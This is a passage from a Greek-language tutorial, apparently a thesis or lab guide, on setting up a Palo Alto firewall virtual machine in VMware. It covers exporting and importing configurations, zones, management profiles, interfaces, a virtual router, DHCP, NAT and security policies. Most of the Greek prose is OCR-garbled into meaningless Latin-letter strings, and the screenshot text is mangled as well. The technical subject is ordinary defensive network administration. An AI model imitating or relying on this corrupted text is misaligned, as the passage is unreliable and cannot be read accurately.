Ewova 29 - Emidoyn emavagopdg tou configuration

Load Named Configuration

Config loaded rom DS_00L_Initial _configuration

Decrypton Key

Ewova 30 - Emavapopa configuration

3.4.2. Aaxeiplon Twv anoBnkeupévwy configurations

Xpnotwuomnotwwvtag to Terminal Tou Palo Alto pnmopouUpe va Staypdoupe KAmoLo ano
Ta anobnkevpéva configurations f kal va HETAPOPTWOOUUE KATOLO0. Aev SOUAEUOUE OTO
nieptBarlov alayng pubuicewyv. Alvoupe apyxikd tnv evioAn “show config saved” yia va

Solpe ta anoBnkevpéva configurations (Ewkova 31).

iguration
iguration
figuration

Ewkova 31 - [MpoBoAn twv amo¥nkeuuévwy configurations oto Terminal
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TéNog, uUmopoUUE, XPnollomolwvtag tnv evtoAy “delete  config saved”,
akoAouBoupevn amo To ovopa Tou configuration, va to oricoupe. Aivovtag tnv evtoAn “load
config from”, adol éxoupe mpwta ouvdeBel oto meplBdrlov allayng pubuioswy,

oakoAouBoupevn amod To ovopa tou configuration, UmopoU e va TO HETAHOPTWOOULE.

@ Elval onuavtikd va katovorjooupe OTL Ta configurations autd amoBnkevovtal oTo
Palo Alto. Eav xpelaotel va emavadépoupe to vm tou Palo Alto amo to apxeio mou €xoups,
akoAouBwvtag tn Stadikacia mou meplypadeTal otnv evotnta 2.2 mopandavw, OAa Ba

Staypadouv. Yrapxel Opwg n dtadikaoia tng “e€aywyng” mou emAUEL AUTO To TPOBANUL.
3.4.3. E€aywyn Kal eloaywyr) configuration

Yuveyiloupue, Soulevovtag oto iSlo anpeio tou Web Interface tou Palo Alto. Auth t
dopa emiAéyoupe to “Export named configuration snapshot” (Eltkova 32). EmAéyoupe otn
ouvéxela to configuration mou B€Aoupe Kat To moL Ba To amoBnKeVOOUUE, avaAoya LLE TOV
browser mou xpnotuomolwoUpe. Me autd Tov TPOTO UMOPOUUE vo omoBnkKeUOOUUE TO

configuration oe apyeio ektog Tou Palo Alto, g kAmoLov uTtoAoyLoTH.

B palo
p . Dashboard ACC Monitor Policies Objects Network

Ewova 32 - E€aywyn configuration
Avtiotolxa umapxel kat n Swadikacio  “eloaywyng’ €vog amoBnkeupévou
configuration. Adou emAé€oupe to “Import named configuration snapshot” epdaviletal véo
mapAaBbupo oTo OToLo TIPEMEL VA ELOAYOUE TN SdLtadpour) tou amobnkeupévou apxeiov amnod

Tov uTtoAoyLoth pag (Ewkéva 33).

SeAiba 31 amd 103



Palo Alto

iz
palo - Dashboard  ACC Monitor Policies __ Obects

Services | ContentdD | WiidFire | Session
Import Named Configuraton () <}

N Import File D

Ewova 33 - Eloaywyn configuration

AdoU oAokAnpwOEel auTO TO Bripa TPEMEL VA KAVOULIE TN Stadikaoia tng emavadopag
Tou meplypadetal otnv evotnta 3.4.1 mapoanmdavw. Katd tn SldpKeld TwV SOKIUWV HOG
SlamiotwOnke apketég dopeg mMPoPAnua o autr tnv teAevtaia Stadikaoia. MNa tov Adyo
OlUTO TTPOTELVOUUE TN Xprion Tou Terminal Tou Palo Alto kot Twv evtoAwv yLa Tnv tpoBoAn Kot
™ petadoptwaon Tou anmobnkeupévou A€oy oto Palo Alto configuration, omwcg meplypadetat

oTtnVv evotnta 3.4.2 maponavw.
3.5.Palo Alto Network configuration

MEeTa TNV eMLTUXN HaG oUVEEDN EEKLVALLE TNV TTAPOETPOTtoinon Tou Palo Alto amo to
TAB “NETWORK”. 3to onueio auto kaAo eival va okedpBoUpe kot vo emiAéEoups TNV
SleuBuvolodotnon mou Ba SwooupE 0TO ECWTEPLKO Hag SiKTuo, To omolo Ba £xeL mpooPacn
oto Stadiktuo, VMnet3. EmNé€ape va xpnolponotnooupe Steubuvoelg 192.168.2.0/24. 1o
E0WTEPLKO interface, ethernetl/2 6a Swooupe tn dtevBuvon 192.168.2.1 ou Ba eival kat To
gateway Tou gowteplkol Siktuou, VMnet3. O DHCP server Ba amodidel SieuBuvoelg amno
192.168.2.2 €w¢ 192.168.2.254 pe netmask 255.255.255.0 kat w¢ DNS servers umopoupe va
XPNOLUOTIOL 00U UE TOUG 8.8.8.8 kL 8.8.4.4, oLomolioL elvat ot DNS tng Google. Emavepyxouevol
otnv TomoAoyla Tou OKTUOU EVOWMOTWVOUME TIG Vvéeg OleuBuvoelg mou Ha

XPNOLUOTIOL 00U e OMWG BAEmou e otnv Ewkova 34.

SeAiba 32 amnd 103



Palo Alto

-

G

Q(»ﬂ¢
[ -
l’} etz
Internet »
y AT
[ Nz LWL< _________ e & -lm ol v -
192.168.147.024 S A4
LR [ L
[

VMnet3
;

192.168.2.2 -
192.168.2.254

Internal Network

3.5.1. Anuovpyia Zwvwy

Ewova 34 - TortoAoyio SIKTUOU UE EOCWTEPLKES SLEVTUVOELS

For Initial Configuration

Aoulevoupe oto TAB “NETWORK” kat emiAéyoupe to pevou “Zones” (Ewova 35).

MNpénet va SnuioupynBbolv dUo Twveg, pia yio To EoWTEPLKO SiKTUO Kal pia yla To EwTePLKO.

Ot {wveg elval anmapaitnteg kaBwg n kivnon amno to ecwteplkd Siktuo mpog to dladiktuo

ylvetal pe 1o népaopa amno tn pia Lwvn otnv aAAn. Epeic Ba avabéooupe éva Interface oe

kaBe {wvn. Exou e emNé€eL va xpnoLpomotjooupe Suo, To ethernetl/1 kat ethernet1/2.

@ palo.: Lo

I

5 VLANS

Bo \Virual Wires
o virtual Routers
3 PSec Tunnels
& DHCP

Dashboard

ACC Monitor Palicies Objects

Ewova 35 - MetaBaon ato menu Snutoupyiog {wvwv

Tn {wvn yla 1o e0WTePLKO pog Siktuo Tnv ovopdcape “Trusted”, evw yla to e€wtepLkod

“Untrusted” (Ewtkova 36). Kat otig U0 {wveg emAéyoupe wg TUTO TO “Layer3”.

SeAiba 33 amnd 103



Palo Alto

User identification ACL

User identification ACL

Name | Unirusted [Name | Trusted

T

I Type Layerd '-l

{1 service Proie Zone for NSX

|1ypelms TI

Al @

Zone Protection Protie None > Zone Protection Profile None >
- -

Log Setting  Nane

e
[+ EeE -]

B | Excuioe Lst

e

QM B

Log Setting None

O @

st
e ssessubnots wil be idenified
is

ichmelatreeta wil o b kit i

D O

i
chue

3 Add

(] Enable User identiication

Ewova 36 - Ot buo {wvec

3.5.2. Anuwoupyia management profiles

Exoupe tn Sduvatdtnta, yla va auéfooupe tTnv achdlela, va kabBopiooupe Tnv
pOcPacn Tou Umopel va €xeL kKAmolog ota Suo interfaces MoOU €XOUME XPNOLLOTIOLOEL
lvetal evKoAa Katovonto OTL SLadOPETIKA MPOCPACH TIPETIEL VO TIOPEXEL TO EEWTEPLKO KOl
SlapopeTikn To eowTePLKO interface. H mpooPacn autn pmopsi va kaboplotel o eninedo
OUYKEKPLUEVWVY UTINPECLWY, TPWTOKOAMwY Kkat IP SteuBlvosewv. To menu amd Omou

umopouUpe va dtapopdwooupe ta mpodil autd, paivetat otnv Ewkdva 37.

B paloalio R et

- rertaces
P v
i WLAMS
B vt Wi
A el Rowers
ol IS Turnets
& DHOP
T Ol Paay
¥ il GlotaiProtect
B oo
W oty
& aon
Boevice Bsoc Lint
A, Qus
S uoe
w3 Merwn Frotass
B Cicharustedt 1% Capln
¥ KE Gawways
B Se: Coppin
8 wE Crypoo

Ewova 37 - Menu yix nutoupyioc Management Porfiles
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Anuoupynoape dVo mpodiA (Eikova 38). To mpwto yla To e€wteplko interface to
ovopdoope “External_Mgmt”, pe pévn umnnpeoia to “ping?”. To 8€UTEPO YLOL TO ECWTEPLKO
interface 1o ovopdooape “Internal_Mgmt”, pe unnpeoieg to “ping”, “ssh”, “https” kat

“response pages®”.

HTTP OCSP
HTTPS
e
Resporse Pages
UseriD

User4D Sysiog Listener-SSL

UseriD Sysiog Listener-UDP

[V Response Pages
) user-i0
[ useriD Sysiog Listener-SSL

[ user-iD Sysiog Listener-UDP

Qrid O

[+ L]

Ewova 38 - Ta Interface Management Profiles mou énutouvpyriooue

3.5.3. Napapetpornoinon Network Interfaces

MrmopoUpe TAEOV val EEKIVAOOUME TNV TapapeTponoinon twv &vo Interfaces,
ethernet1/1 kau ethernet1/2 (Ewkéva 39). Apxkd BAémoupe otL to Link State eivat oBnoto®.
Mpokelévou va evepyomolnBouv ta Interfaces Ba mMpéEmMeL va €L0AYOUUE OPLOMEVEC
anapaitnteg pubuioelg. Zekwvape tnv napauetponoinon pe to Interface ethernetl/1, to

omnoio Ba eival To e€wteptkod Interface tou Palo Alto.

B paloallo

Ewkova 39 - Ta Interfaces mou Ga ypelaotouue

2 Mot AGyouG OPOLETPOTIOLNONG Kat EAEYXOU ETUTPEMOULE TO “ping” oo ta e§wtepkd Siktua, SnAadn and to
Sladiktuo.

3 Ta “response pages” To eVEPYOTIOLOULE yLa TNV Tepimtwon mou BeAfjcoupie va xpnotpomnotjooupe Captive
Portal, émou Ba yivetal n auBeviikomoinon Twv Xpnotwy yla pdcpacn oe unnpeoieg Tou SladLkTuou.

4 To Link State otnv napauetpomnoinon twv Interfaces sivat by default oto “auto”.
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Y10 ethernetl/1 B£toupe apxwka to Interface Type oe “Layer3” kat oto tab Config
emAéyoupe Tto Security Zone “Untrusted” (Ewkova 40) mou Onuwoupynocape oto 3.5.1
napanavw. 2to tab Advanced emiéyoupe oto Management Profile “External_Mgmt” mou

Snuoupynoape oto 3.5.2 mapanavw.

Interface Name  ethemet1/1

irtectace Typm Layers

Comment

Interface Type Layer3 -

Neto Protse. tiore

e
Link Seitings
Uk Spass Uk Dupiax

| ARPEnmes NDEnwes NOPPOY | LLDP

Assign Interface To

Virtual Router None v

Security Zone | Untrusted

Ewova 40 - ethernet1/1

Yuveyilovtag pe to ethernetl/2, to omnoio Ba eivatl To eowteptkd Interface tou Palo
Alto, Kavoule TIG amapaitnteg pubuioelg. O£toupe to Interface Type os “Layer3” kal oto tab
Config emiAéyoupe to Security Zone “Trusted” (Ewova 41) mou &nuloupynoape oto 3.5.1
napanavw. 2to tab Advanced emAéyoupe oto Management Profile “Internal_Mgmt” mou

dnuloupynoape oto 3.5.2 mopanavw.

Intertace Name ethemet1/2
Comment

Interface Type Layerd -

Netfiow Profile Mo - Link Dupiax. Lk Stte o

fo P IPVE  Advanced

ARPEniies  NDEnties  NDPProwy  LLOP

Assign Interface To

Virtual Router | None -

‘Security Zone | [T = Adjust TCP MSS
s

Ewdva 41 - ethernet1/2
Erunpdobeta oto ethernetl/2 mpémnet va SnAwaooupe tnv IP Address mou Ba €xet. Autd
yivetal oto tab IPv4 (Ewova 42) omou Bétoupe tnv static IP address 192.168.2.1/24 mou
€xou e poodloploel amo tnv apyn. 2to ethernetl/1 dev eival anapaitnto auto, kabwg Ba
naipvel IP address amnd tov DHCP server tou modem/router tou mapoxou, otn Sk Hag

nepintwon tov VMware.
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Interface Name etheme1l/2
Comment
Interface Type Layer3 -

Netfiow Profile None
config | >« JFime | Advanced

Ewkova 42 - ethernet1/2 Static IP

3.5.4. Anuwoupyia Virtual Router

To Palo Alto xpnowuomolei virtual routers mpoketp€vou va Spopoloyel tnv kukAodopia
ota Stadopa subnets. MmopouUpe va ta mapapetpornotjooupe ano to TAB Network, oto
orolo akopo Soulevou e, emAéyovtog to menu “Virtual Routers” oto aplotepd §€vépo. ESw
oto Virtual Router mpooBéoape to ethernetl/1 kot to ethernetl/2. 3to Virtual Router auto

Swoape To ovoua “Virtual_Router” (Ewkova 43).

Router Settings | Name | Viriual_Router I

Static Routes Ganeral | NECMP

Redistribution Profie Administrative Distances
RIP [ ethomett/1 e |10
A ——

e [ " etnemenyiz Staie 1Pv6 |10
e OSPF Int 30
0SPF3
OSPFExt |110

BGP OSPFv3int 30
Multicast 0SPFv3 Ext 110

IBGP
EBGP 2

RIP |12

Add @ Delete

Ewova 43 - Virtual Router Interfaces

ISlaitepn mpoooxn mpénel va Swooupe oTto menu Static Routes. To GUYKEKPLUEVO
elvat mou Ba kaBopioel To Mol Ba dpopoioynBel n kivnon amnod to e€wteptkd pog Interface,
ethernet1/1, wote va €xoupe npdécoPfacn oto Sladiktuo. QUUOLACTE OTL OVAYVWPICAUE WG

gateway mou pag &ivet o DHCP server tou VMware tnv IP address 192.168.147.2. Ovopdoaue
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To Static Route “EXT_VR”. Oéoape w¢ Destination tnv IP Address 0.0.0.0/0° yia to Interface

ethernet1/1 pue Next Hop tnv IP Address 192.168.147.2, éniwg BAénoupe otnv Ewkdva 44.

tic Route - IPv4

Virtual Router - Sta

Name EXT VR

Destination 0.0.0.0/0

Interface ethemetl/1 v

| Next Hop (@ IP Ack‘he-ss-l Next VR Discard None
I 192.168.147.2 I

Admin Distance

Metric 10

No Install

BFD Profile None

Ewkova 44 - Static Route

3.5.5. OhokAnpwon mapapetponoinong ethernetl/1

EmavepOHQOTE OTO ONMELO QUTO OTNV TOpaueTponoinon tou ethernetl/1, tou
e€wtepikou pag Interface, oto TAB Network kat cto menu Interfaces. Zto tab IPv4 emiAéyoupe
10 “DHCP Client” (Eikova 45) pe okomo to interface auto va naipvel IP Address amné tov DHCP
server tou VMware. KaAo eivat n tevBuvon autr) va kAeldwbBel pe tnv MAC address tou
Interface wote va divetal mavta n dLa f va XpnoLULOoTotooupE TNV emloyn “Static” kat va

dnAwooupe epeig pia IP address péoa oto range Twv dteuBuvoswv Tou VMware.

Interface Name

Comment

Interface Type Layer3 b
Netfiow Profile Mone
Config IPvé  Advanced
Type Static PPPoE (® DHCP Cliert
¥/ Enabie

 Automatically create default route pointing to default gateway provided by server

Default Route
Metric

Ewova 45 - Amoboon IP address oto ethernet1/1

5 To xpnotuomnoloUue yia va SnAwooupe OAeg Ti¢ IPv4 SteuBivosl.
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Metd tnv oAokAnpwon Kat ebappoyn TNG aAAayng aUTAG, EMAVEPXOUOOTE OTO (6L0
menu. Agv Eexvape OTL TPEMEL va aTApe To “Commit” yla va .oxUoouv ot aAAayeg,. Matape
oto tab IPv4 tou ethernet1/1 tnv emloyn “Show DHCP Client Runtime Info” kat BAémoupe tn
SlevBuvon mou €xeL to Interface autd kaBwg kat to Gateway. Itn SIKN Lag MAPAUETPOMOINON
n IP address Atav n 192.168.147.132, evw oTo gateway OMw¢ avapevotav pe Baon ta ooo
gxoupe 6e1n 192.168.147.2 (Ewova 46).

Dynamic IP Interface Status

o ethemetl/l
e Bound
Remaining 0 days 02707

192168 147.132
1921681472
1921681472
0000
1921681472

S 0000
0000
0000
0000
0000

fix localdomain
Code Type Values
54 Ip 192.168.147.254
51 int 1800

Ewkova 46 - H IP address tou ethernet1/1

Ztnv Ewkova 47 dpaivetal n mopapetpomnoinon twv Interface péxpt twpa.

Manage K I Vietuak-
Intertace Intertace Type ot UK 1o Address Virtual Router Tag xﬁ” i

Profile State Security Zone Features Comment

r v1 Layerd Extemal_Mgmt mic-OF : Virtual_Router Untagged  none Unirusted

- Layer3 ntemal_Mgmt 192.168.2. 124 Virtual_Route: Untagged none Trusted

Ewova 47 - Ta 600 Interfaces

3.5.6. 'EAeyxoc twv MAC addresses

@ Mpokelévou va anodplyoupe mpoPAnuata mou oxetilovtal PeE Tn oUVOECN TwV
interfaces €lval XpAoOWO va TIPAYLOTOMOL|COUUE €vav £AEYXO TIOU OXETI(ETOL PE TNV
avtlotolyio twv MAC addresses twv “ethernet 1/1” kat “ethernet 1/2" pe tig¢ MAC addresses

Ttwv Network Adapters tou Palo Alto vm. Agv Eexvape 0tL SouAeVoupe oe virtual meptBaAlov.

Apxka amo to web interface tou Palo Alto, oto TAB “Network” oto menu “Interfaces”

Kol 0Tn ouveéxela oto tab “Ethernet” emiAéyou e va epdavioBel otn ypappoypdadnon n otin
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MAC Address (Elkova 48). Itnv Ewova 49 BAémoupe t MAC address yla kaBe interface.
Mpémet ol (6te¢ MAC addresses va umdpyouv otnv napapetponoinon tou Palo Alto vm. To
ethernet 1/1 mpémnetl va £xeL tnv i6to MAC pe to Network Adapter 2 kat to ethernet 1/2 pe to

Network Adapter 3.

(<] £ 172.168.147.200

paloalic

ACC Manitor Policies

Dashboard

BOEBEEEEMiE

EEERODODREENF |

Ewova 48 - Evepyomnoinon npoBoAric MAC address

Management Link
Interface Interface T IP Addr MAC Addrt
ype Profile State — i
{aag) ethernet/1 Layer3 External_Mgmt none ba:db:ee:fb:ad:10
@ ethernet1/2 Layer3 Internal_Mgmt 192.168.2.1/24 ba:db:ee:fb:ad:11

Ewdva 49 - Ot MAC addresses twv interfaces
Adou onuewwooupe TIg 6Uo MAC addresses KOAO €lval va QTEVEPYOTIOL)COUE TO
Palo Alto vm. Mnyaivoupue otig puBuioelg tou Palo Alto Virtual Machine. Ekel eAéyxou e tnv
MAC address tou Network Adapter 2 (Ewkéva 50). Edv eival dtadopetiky and auth tou
ethernet 1/1 tnv aAAaloupe cupdwva pe autn Tou interface. Avtiotowya eAéyxoupe tn MAC
tou Network Adapter 3 (Ewova 51). Eav eival Stadopetikny and avtn tou ethernet 1/2 tnv

oAAaloupe cUpdwva e auTh Tou interface.
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Network Adapter Advanced Settings X

Virtual Machine Settings > Incoming Transfer
Bandwidth: | Uniimited ¥
Hardware  Options - —
Kbps: =
TR % Device status =25
ESMemory 468 Secsea Packetloss (%): [0.0 [+
¥ Processors 2 4 Connect at power on —
EHardDek (SCS) 4068 Latency (ms): E'v,
& cofovo (10E) Using unknown backend Netwark connection
25 Network Adapter Custom 42) O Bridged: Connected directly to the physical network Outgoing Transfer
Replicate physical network connection state Bandwidth: Ursimi
Ewnmw 3 umsm (\on--e«:x)ﬁ |Unketed e
CNetwork Adapter 4 Host-only (@ NAT: Used to share the host's IP address Kbps: :| ~
"iNetwork Adapter 5 Host-only (O Host-only: A private network shared with the host
CNetwork Adapter 6 Host-only O Custom: Speific virtual network Packet Loss (%): | 0.0 5
Cloisplay 1 monitor S
) - L R
(OLAN segment:
MAC Address
BA:DB:EE:FB:AD: 10 | Generate

=

o[ concel

Ewova 50 - H MAC tou Network Adapter 2

Metwork Adapter Advanced Settings X

Incoming Transfer
Banduwidth: Unlimited ~

Device status
Packet Loss (%): | 0.0

Conected

Qi va e Loty ey [0 |
(%) co/ovo (D€} Lising urknown badkend Metwark connection

(O Bridged: Connected drectly to the physical network. Outgoing Transfer

1
'l
.

Reegbcate physical network connection state

Bandwidth: Unlimited e
{)NAT: Used ta share the host's [P address L —
O tiost-ly: A private retwork shared mith the host Kbps: || 2
@) Custom: Specific virtual netwark —
Frery = Packet Loss (%): | 0.0 =
OLaN segment;

.

Latency (ms): o

|

MAC Address

BA:DB:EE:FB:AD:11 | Generate
||

Help

Ewova 51 - H MAC tou Network Adapter 3

3.5.7. AleuBuvolodoTnon 0to E0WTEPLKO pag SiKTuo

Tn SleuBuvolodotnaon tou ecwTteplkol Siktuou Ba tnv avalaBel to Palo Alto pe t
xprion tou DHCP server tou, mou Ba Asttoupyet oto Interface ethernetl/2. E€akoAouBwvtag
va SouAeloupe oto TAB Network emiAéyoupe 10 menu “DHCP” (Ewkéva 52) wote va

POcBECOUE TOV server.
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= [ ¥ 172, 168,147,200,

DHCP Sarax

Ewkova 52 - [Mpoodrikn DHCP server oto ethernet1/2

Me Baon tov oxedlaopo pag smihéyoupe o DHCP server va divel SleuBuvoelg amo
192.168.2.2 éw¢ 192.168.2.254, evw 0 Xpovog déapeuong kabe SlevBuvong eival pia nuépa
(Ewkova 53). EmiAéyovtag To tab “Options” dnAwvoupe to Gateway, tnv IP address 192.168.2.1
n omoia eivat n IP tou esowtepikol Interface ethernetl/2, tn pdoko umodiktvou
255.255.255.0 kat toug DNS server tng Google (Ewkéva 54).
-

Mode a0

Lease |FOptions

] Ping 1P when allocating new 1P

Lease () Uniimited (®) Timeout

1 Dayslo |Hows[o | Minues

Reserved Address MAC Address

ES

Intestace |gehomat1/2

Mode | wno -
Leasé || Options

Inhesitance Seurce None =] Custom DHCP options

Garewny |192 168.2 1
Subiiel Mask | 255 255.255.0

Primary DNS 88886

Secondary DNS |B.8.4.4

-
Frimary VANS | None

Secondary WINS | None

q ¢« |«

Prienary NIS | None
Secondary NIS | Nane
Primary NTP | None
Secongary NTP | Nene
POP3 Server | None

SMTP Server |None

4[4 |a|a[q]|a|[a]la

NS Sutfix | None

Ewova 54 - EmuniAéov puBuioeis DHCP ethernet1/2
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3.6.Palo Alto Policies configuration

Ma va UmopEcEL va AmMOKTNOEL TPOoPacn To E0WTEPLKO pag Siktuo oto dladiktuo
ATV amopaitnTto va SnULOUPYHOOULE L0 OELPA OO TIOALTIKEC TTOU Bal TOPOUCLACOUUE O€

QUTI TNV EVOTNTA. ZeKIVAUE Kal Soulevoupe mAéov oto TAB “Policies”.
3.6.1. Anuwoupyia moAttikrc NAT

H mapapetpomnoinon mou €xoupe emAEEEL amaltel TNV UMAPEN U0l LOVO TTOALTLKAG
NAT, n ornoia 6a petadpalel Tic IP SteuBUVOEeLg TOU E0WTEPLKOL SIKTUOU O€ pia Kal Lovadikn

S1evBuvon tou e€wtepikou interface.

Apxika emiAéyovtag To menu “NAT” Swoape €va Ovopa OTNV TOALTIKN, TNV
ovopacape “Internal_TO_External” kot dnAwoape tov TUTO we “ipv4” (Etkova 55). H moALtikn

poG Ba epopuoleTal and To ECWTEPLKO TTPOG TO £EWTEPLKO SiKTUO.

NAT Policy Rule

General Translated Packet

Qriginal Packet

Description

Tags

NAT Type ipud

Ewova 55 - Anuoupyia NAT Policy

Ta Vo enmdueva tabs elval ta onuavtika. 2to npwrto, “Original Packet” dnAwvoupe
TNV TNyn Kol ToV TIPOOPLOUO TwV TaKETWY. Elval amapaitnto va xpnotponotnBolv edw ot
{wveg ou €xoupe Ndn dnuioupynoet oto 3.5.1 mapandavw. Onwc BAénoupe otnv Ewkova 56,
oto Source Zone &nAwvoupe tnv “Trusted” Lwvn, evw oto Destination Zone SnAwvoupe tnv
“Untrusted” Twvn. Elval anapaitnto va emidé€oupie kat to Destination Interface. Mo epag
elvatLto “ethernet 1/1”. H mapapetponoinon autrh Ba toxveL yla OAa ta Services Kat yla KaBe

IP address Tou ecwTtePLKOU SIKTUOU TTPOC OTIOLOSATIOTE TIPOOPLOKO TOU EEWTEPLKOU SLKTUOU.
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QOriginal Packet | Translated Packet
[Destination Zone
L
Urinsted -
W | source Zone i
()7 p% Trusted
Interface
ethernetl/1 -
Senvice
any -

Ewova 56 - NAT Original Packet

Palo Alto

Y10 SeUtepo tab, “Translated Packet”, mpémel va SnAwaooupe os mola IP StevBuvon Ba

petadpaletal n Kivnon amo 1o ECWTEPLKO TPOC TO eEWTEPLKO SiKTUO. Oa UmopoUoE va ivat

pLla dtevBuvon ouykekplpévn, ocuvnBwe pla real IP address mou pag £XEL TAPAXWPNOEL O

provider amnod éva block teuBuvoswv. Epeic edw dnAwvoupe tov Ttumo w¢ “Dynamic IP And

Port” kat adopa to Interface “ethernet 1/1” (Ewova 57), emopévwg Oa eivat omota StelBuvon

pog Sivet to VMware, kabBwcg Sdouleboupe o VM meplBaAlov. Mg autd Tov TPOMO

“kpUBoupe” kat tn SleuBUVOLOSOTNON TOU ECWTEPLKOU HAG SLKTUOU aro To e€wTePLKO SiKkTuOo,

to Stadiktuo.

NAT Policy Rule

General

Translated Packet |

Original Packet

Source Address Translation Destination Address Translation

Translation Type Dynamic IP And Port v Translated Address
Address Type Imerface Address v Translated Port
Interface ethemet1/1 v

IP Address Mone

Ewova 57 - NAT Translated Packet

Itnv Ewkova 58 daivetal n oAokAnpwpévn moAttikr) NAT.

Source Zone Destnation Zone  Destnaton Interface  Source Address Destination Address  Service Source Translation

P Truste 2]

Destination Transiation

Ewova 58 - H NAT policy oAokAnpwOnke
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3.6.2. Anulovpyia Security Policies

Edooov €xouv OAa TOL TponyoUpEVA PAUATA HE  EMITUXLO, MUOPOUME va
TIPOXWPNOOUE OTO TILO ONMOVTIKO, HE TO Omolo Kal ouvhBwg aoxoAoUpaoTte adou
OAOKANPWOEL N apxLKN TTApAUETpOTTOiNGN Kot apopd TLE TIOALTIKEC TTou Ba uTtdpyouv oto Palo
Alto. OL moAtikéEG autég kaBopilouv ta “Swkaiwpata”’ mpocBaocng oTIC UNNPEcieg Tou
Stadiktuou, evw elval UTEVLOUVEC KOl yLa TNV TPOCTACLA TOU €0WTEPLKOU pag SIKTUOU. Z€
QUTA TNV EVOTNTO Bt SNULOUPYNOOUE HLa arAr TTOALTIKA XwPig Kamola acdpaiela mou Oa

ETUTPEYPEL OTO ECWTEPLKO paG SikTuo va amoktrosL mpooBaon oto dladiktuo.

ErmiAéyovtag To menu “Security” BAEmoupe OTL UTIAPXOUV SUO TOALTIKEC aodaAeiag
(Ewkova 60). H blattepotnta edw ival OtL oL TOALTIKEG epapudlovtat Lepapyika. Eav katt dev
Talplalel ota KPLTAPLa Ko TOALTIKNC To Palo Alto Ba epapudosl tnv emopevn. H tedsutaia
TIOALTIKN) €lval n TIOATIKN amoppuPng ¢ kivnong amod tn pia {wvn mpog tTnv GAAn Kot

epapuodletal otav Sev €xel epappocOel kAol amo T TPONYOULEVEG.

1o Palo Alto autr n teAeutaia moAltiky ovopaletol “interzone-default” kat wg
evépyela €xel mavta to “Deny” (Ewkova 59). Emopévwg omoiadnmote kukAodopla Sev
ETUTPATEL QO TIPONYOUHEVN TIOALTIKY, METOEL Twv {wvwv “Trusted” kat “Untrusted”, Ba
kataAnéel otnv “interzone-default” kat Oa anoppldpBOet. 2tnv default mapapetponoinon OpwWG
Oev umapyxeL kamoiwa Kataypadr autAg TNG Kivnong mou amoppidBnke. Qotdoo, wg

Slaxelplotég Tou firewall mpémel va yvwpllou e TIG KIVAOELG TTOU amoppimtovTal.

Aacress User HIP Brofie Zooe aoxens e Servee Acton Erote St

Ewova 59 - Interzone Policy
AuTO amattel pla aAlayr) otnv TAPAUETPOTOLNGCN TNG CUYKEKPLUEVNG TIOALTLKAG.
ApPXLKA aUTH N TIOALTLKA €lval KAELWOWUEVN Kal TPETEL adoU TNV ETUAEEOUE VO TTATHCOULE OTO
KATW HEPOC TNG 080vNG tnVv ertthoyn “Override” (Ewkova 60). MOALS yivel auTO UmopoUUE va
ipoxwprooupe otn dtapopdwon TnG. To HOVOo TIou XPeLAlETAL VO KAVOUUE, 0w daivetal
otnv Ewkova 61, ival oto tab “Action” va evepyonoljcoupe ota Log settings to checkbox

“Log at Session End”.
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palo.. Dashboard ACC Mansior Objects Retwork Device

o e by bt g i ke
W) Rule Oeges Alpratencal

Ewova 60 - Napauetpornoinon Security Policies

Action Setting Log Setting
Action  Derny il Log at Session Start

able %] Log at Session End

Log Forwarding Mone o
Profile Setting

Profile Type None

Ewova 61 - Evepyomoinon Logs otnv Interzone

H 8eUtepn moALTkA Ttou uTtapxetl Nén eivat n “Intrazone-default” n omnola 6ev Ba pog
QIACXOANCEL OTN CUYKEKPLUEVN TLAPAUETPOTIOINON. AUTH N TIOALTIKNA €lval mpoteAeutaia Kal
€xel w¢ Action “Allow”. Mg auTr TNV MOALTIK EMITPENETAL N Kivnon péoa otnv idta {wvn.
Eritpénel SnAadn tnv kivnon Sedopévwy petafl Twv cuokeLwV Tou Bpiokovtal otn lwvn

“Trusted”.

TéNog, Snuioupynoape TNV amAr moALtikn aodaleiog mou avadEpape otnv apxn T
TPEXOUOAG eVOTNTAG. H TOALTIKN autr) €Xel povadlkd oToxo va emITpEPeL TNV, O AUTO TO
otadlo, TANRPnN MPOCBACH TOU E0WTEPLKOU UaG SIKTUOU 0To €€WTEPLKO. Itnv Ekdva 62,

BAEmoupe To 6vopa Tou divoupe otnv véa moAwtikn, “IN_TO_OUT_Allow_All”.

SeAiba 46 amnd 103



Palo Alto

User | Destination | Application | Service/URL Category

| Wame "in_to_ouT_atow_ai

Rule Type  universal (default)
Description ||

Ewova 62 - Ovouaoia tng véag Security policy

1o tab “Source” &nAwvoupe w¢ lwvn mMpogAeuong tnv “Trusted” pe OAeC NG
SleuBuvoelg mou avikouv og auth (Ewkova 63). Zto enduevo tab, “Destination”, dnAwvoupe
OAeg TIg SteuBuvoelg tic “Untrusted” Twvng (Ewtkova 64), 6Ao To SLadIKTUO EMOUEVWE, OTO

omnoio Ba €xelL mpooPacn To ECWTEPLKO SIKTUO TIOU €XEL OPLOTEL HE TNV Xprion TnG “Trusted”

{wvnc.

Application | Service/URL Category | Actions

DAl ) Deiste

Ewova 63 - H Jwvn mou Ja anoteAel Tnv mpogAeuan tng kivnong

B Destnanon Zone

[V prg Uririsssed

B A
W Destination Address

DA @ Delete I -]

Negate

Ewova 64 - H {wvn mou Ja amoteAel Tov mpooplouod tne kivnong
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Jta emopeva Svo tabs, “Application” kot “Service/URL Category” (Ewkova 65),
SnAwvoupe “Any” woTe va EMITPEMOVTAL OAEG OL UTNPeoieg. e autd to tabs Oa

ETULOTPEPOUUE TTAAL APYOTEPA OTNV MAPAUETPOTIOLNCN HOC.

General | Source | User | Destination wpummmm Actions 5 Sersice/URL Category | [Actions
E %

Ewova 65 - Application kat Service
T€Aog oto TAB “Actions” emiAéyoupe to “Allow” woTte va emitpénetal n kivnon anod
TNV GUYKEKPLUEVN TIOALTLKN KOL EVEPYOTIOLOUE TNV Kataypadr tng kivnong ota logs tou Palo

Alto (Elkova 66).

Action Setting Log Setting

I Action Alow - I [¥ Log at Session Stan

T 2 Log at Session End

Log Forwardng | None =

Other Settings
Profile Setting Schedule  None i
Profile Type  None il QoS Marking | None ot

Disable Server Response Inspection

Ewova 66 - Policy Action kot Log Setting

MeTd tnv oAokARpwaon Kol aUToU Tou BAKOTOC OL TTOALTLKEG Ba TIPETEL VAL €lval OTIWG
otnv Ewkova 67. MapatnpoUpe OTL N VEA TTOALTIKN TTou SnLoupynoape ival mpwtn otn 6€on
1. e kaBe mepinmtwon pnopole va aAAA{OUE TNV OELpA He TNV omola epapuodlovral ol
TIOALTLIKEG TTOTWVTOC TNV €mhoyn “Move” oto KATw HEPOC TNG 086vNG 6To menu “Security”

tou TAB “Policies”.

